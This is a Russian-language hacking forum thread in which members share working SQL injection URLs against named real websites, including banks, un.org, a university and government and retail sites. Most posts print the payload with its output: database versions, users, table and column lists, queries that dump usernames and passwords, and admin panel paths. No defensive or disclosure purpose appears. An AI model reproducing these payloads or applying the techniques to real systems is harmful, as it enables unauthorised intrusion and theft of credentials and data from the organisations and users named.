HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.01.2010, 22:12
Dyxxx
Участник форума
Регистрация: 16.02.2009
Сообщений: 191
С нами: 9069748

Репутация: 438
По умолчанию

Unihorizontes.br pr5
Faculdade Novos Horizontes.
Код:
http://www.unihorizontes.br/main.php?id=-73'+union+select+null,null,null,null,null,concat_ws(char(32,124,32),version(),user(),database(),@@version_compile_os),null,null,null,null+--+
5.0.51a | nhadmin@192.168.20.87 | test | suse-linux-gnu


Цитата:
Юзай антибоян!
http://mailbrush.eu/antiboyan
лучший антибоян гугл
 
Ответить с цитированием

  #2  
Старый 02.01.2010, 15:04
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами: 8700497

Репутация: 388
По умолчанию

http://www.c-o-b.co.uk/page.php?ID=10+union+select+1,2,3,4,group_concat(0 x0b,column_name),6+from+information_schema.columns +where+table_name=0x7573657273
users::userID,name,email,password,cdate

http://www.c-o-b.co.uk/page.php?ID=10+union+select+1,2,3,4,group_concat(0 x0b,userID,0x3a,name,0x3a,email,0x3a,password),6+f rom+users

MySQL 5.0.85-community

http://www.c-o-b.co.uk/admin
 
Ответить с цитированием

  #3  
Старый 02.01.2010, 21:37
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами: 8859263

Репутация: 334
По умолчанию

Код:
http://www.rukodelie.ru/index.php?page=cart&lastid=1+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29,@@version_compile_os%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44
@localhost | 5.0.26-lk-log | rukodelier | pc-linux-gnu
 
Ответить с цитированием

  #4  
Старый 03.01.2010, 16:14
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами: 8859263

Репутация: 334
По умолчанию

Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=%28select%20db_name%28%29%29--
Имя базы данных : News
Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=%28select%20system_user%29--
Владелец : web
Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=@@version--
Версия : Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

Теперь таблицы и колонки

Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=%28SELECT%20TOP%201%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%29--
Одна из таблиц: failedemails

Последний раз редактировалось jokester; 03.01.2010 в 17:24.. Причина: вопросы в соседней теме
 
Ответить с цитированием

  #5  
Старый 03.01.2010, 17:19
Stalingrad
Познающий
Регистрация: 18.03.2006
Сообщений: 47
С нами: 10605234

Репутация: 9
Talking

http://www.arctic-cooling.com/webshop/index.php?shop_id=11+union+select+1,2,null--
http://www.arctic-cooling.com/catalog/product_info.php?cPath=41_45+and+1=1--
http://www.arctic-cooling.com/catalog/product_info.php?cPath=41_44&mID=26544+group+by+19--

version(): 4.0.27-standard
user(): dbo273434928@localhost
database(): db273434928
Также есть таблица admin (+админка http://www.arctic-cooling.com/admin)

Последний раз редактировалось jokester; 03.01.2010 в 17:23.. Причина: вопросы в соседней теме
 
Ответить с цитированием

  #6  
Старый 03.01.2010, 19:51
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Цитата:
http://shans.com.ua/index.php?m=nr&id=-6421+union+select+1,2,concat_ws(0x3a,version(),dat abase(),user(),@@version_compile_os)--+&in=60
5.0.81-log:shansco_shans:shansco_igor@second.hosted.in:un known-linux-gnu

БД
Код:
nformation_schema@shansco_forum@shansco_shans
таблцы
Код:
documents@news@news_copy@numbers@pages@poll_comment@poll_config@poll_data@poll_index@poll_ip@poll_log@poll_templates@poll_templateset@poll_user@rec_banners@rec_compact@rec_compact_tmp@rec_date@rec_firm@rec_firm_block@rec_firm_name@rec_firm_tmp@rec_private@rec_private_tmp@rec_rubric@rubrics@sav_que
таблицы форума
Код:
phpbb_attach_quota@phpbb_attachments@phpbb_attachments_config@phpbb_attachments_desc@phpbb_auth_access@phpbb_banlist@phpbb_categories@phpbb_config@phpbb_confirm@phpbb_disallow@phpbb_extension_groups@phpbb_extensions@phpbb_forbidden_extensions@phpbb_forum_prune@phpbb_forums@phpbb_groups@phpbb_posts@phpbb_posts_text@phpbb_privmsgs@phpbb_privmsgs_text@phpbb_quota_limits@phpbb_ranks@phpbb_search_results@phpbb_search_wordlist@phpbb_search_wordmatch@phpbb_sessions@phpbb_sessions_keys@phpbb_smilies@phpbb_themes@phpbb_themes_name@phpbb_topics@phpbb_topics_watch@phpbb_user_group@phpbb_users@phpbb_vote_desc@phpbb_vote_results@phpbb_vote_voters@phpbb_words
poll_user:
Код:
user_id@username@userpass@session@last_visit
poll_log
Код:
log_id@poll_id@option_id@timestamp@ip_addr@host@agent

Код:
http://shans.com.ua/index.php?m=nr&id=-6421+union+select+1,2,group_concat(concat_ws(0x3a,username,userpass,last_visit)%20separator%200x3a)+from+poll_user--+&in=60
админка и форум соответсвенно в каталогах:
Цитата:
admin/
forum/
 
Ответить с цитированием

  #7  
Старый 04.01.2010, 01:47
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами: 8859263

Репутация: 334
По умолчанию

Код:
http://www.karlson-e.ru/?page=product&dir=-1%27+and+1=1+union+select+1,2,3,4,5,6,concat_ws%280x3a,version%28%29,database%28%29,user%28%29,@@version_compile_os%29,8,9+--+
webuser@localhost
5.1.34-log
karlson
portbld-freebsd7.1
 
Ответить с цитированием

  #8  
Старый 04.01.2010, 02:07
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами: 8700497

Репутация: 388
По умолчанию

Мускул 4й
http://www.digitalflywheel.com/case.php?id=-4+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user name,0x3a,password)+from+users+limit+1,1
MySQL 4.0.27-log
users::username,password
http://www.digitalflywheel.com/admin
 
Ответить с цитированием

  #9  
Старый 04.01.2010, 13:42
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами: 8866466

Репутация: 564
По умолчанию

Bank ))
Код:
http://www.fidelitybank.com.gh/management/details.php?id=-1+union+select+1,2,3,4,5,6,7--
Database:
Version : 4.1.22-standard-log
User: 335104_alfred@172.16.10.112
OS: pc-linux-gnu

Последний раз редактировалось shell_c0de; 04.01.2010 в 13:49..
 
Ответить с цитированием

  #10  
Старый 04.01.2010, 17:10
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

идея shell_c0de Bank ))

Цитата:
http://concern-stellar.com/stella-bank/index.php?id=27&ssf=-193+union+select+1,2,concat_ws(0x40,user(),databas e(),version()),4--+
concerns_stella@localhost@concerns_bank@4.1.22-standard-log

Цитата:
http://www.akcia-bank.ru/index.php?id=-27+union+select+1,2,3,4,5,concat_ws(0x40,user(),da tabase(),version(),@@version_compile_os),7--+
akciaban_bank@localhost@akciaban_bank@5.0.81-community@unknown-linux-gnu

Цитата:
http://sparhafen.ch/index.php?id=180488&VERANSTALTUNG_id=-197820+union+select+concat_ws(0x3a,user(),version( ),database(),@@version_compile_os)--+
Event: bank_sparhafen@localhost:5.0.37-community-nt:bank_sparhafen:Win32

другие
65 колонок
Цитата:
http://infores.mpt.gov.by/ir/database/view_ir.php?id=-4241+union+select+1,2,3,4,concat_ws(0x3a,user(),da tabase(),version(),@@version_compile_os),6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43 ,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,6 0,61,62,63,64,65--+
inforesipps@localhost:inforesipps:4.1.25-logortbld-freebsd6.3

Последний раз редактировалось Strilo4ka; 04.01.2010 в 19:33..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору. Комиссия форума: 2%.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...